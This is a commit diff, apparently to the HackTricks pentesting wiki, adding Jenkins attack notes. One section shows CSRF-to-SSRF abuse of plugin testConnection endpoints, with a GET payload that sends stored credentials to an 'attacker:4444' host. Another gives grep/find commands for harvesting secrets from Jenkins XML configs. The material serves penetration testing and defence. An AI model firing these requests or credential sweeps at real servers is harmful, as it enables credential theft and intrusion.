jenkins update

Author: carlospolop

src/pentesting-ci-cd/jenkins-security/README.md

@@ -99,6 +99,24 @@ cd build_dumps
 gitleaks detect --no-git -v
 ```
 
+### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
+
+Some plugins expose Jelly `validateButton` or `test connection` handlers under paths like `/descriptorByName/<Class>/testConnection`. When handlers **do not enforce POST or permission checks**, you can:
+
+- Switch POST to GET and drop the Crumb to bypass CSRF checks.
+- Trigger the handler as low-priv/anonymous if no `Jenkins.ADMINISTER` check exists.
+- CSRF an admin and replace the host/URL parameter to exfiltrate credentials or trigger outbound calls.
+- Use the response errors (e.g., `ConnectException`) as an SSRF/port-scan oracle.
+
+Example GET (no Crumb) turning a validation call into SSRF/credential exfiltration:
+
+```http
+GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
+Host: jenkins.local:8080
+```
+
+If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
+
 ### **Stealing SSH Credentials**
 
 If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
@@ -412,4 +430,3 @@ println(hudson.util.Secret.decrypt("{...}"))
 {{#include ../../banners/hacktricks-training.md}}
 
 
-

src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md

@@ -81,6 +81,19 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
 
 **That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
 
+### Secrets in plugin/job configs on disk
+
+Do not assume secrets are only in `credentials.xml`. Many plugins persist secrets in their **own global XML** under `$JENKINS_HOME/*.xml` or in per-job `$JENKINS_HOME/jobs/<JOB>/config.xml`, sometimes even in plaintext (UI masking does not guarantee encrypted storage). If you gain filesystem read access, enumerate those XMLs and search for obvious secret tags.
+
+```bash
+# Global plugin configs
+ls -l /var/lib/jenkins/*.xml
+grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
+
+# Per-job configs
+find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
+```
+
 ## References
 
 - [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
@@ -90,8 +103,8 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
 - [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
 - [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
 - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
+- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
 
 {{#include ../../banners/hacktricks-training.md}}
 
 
-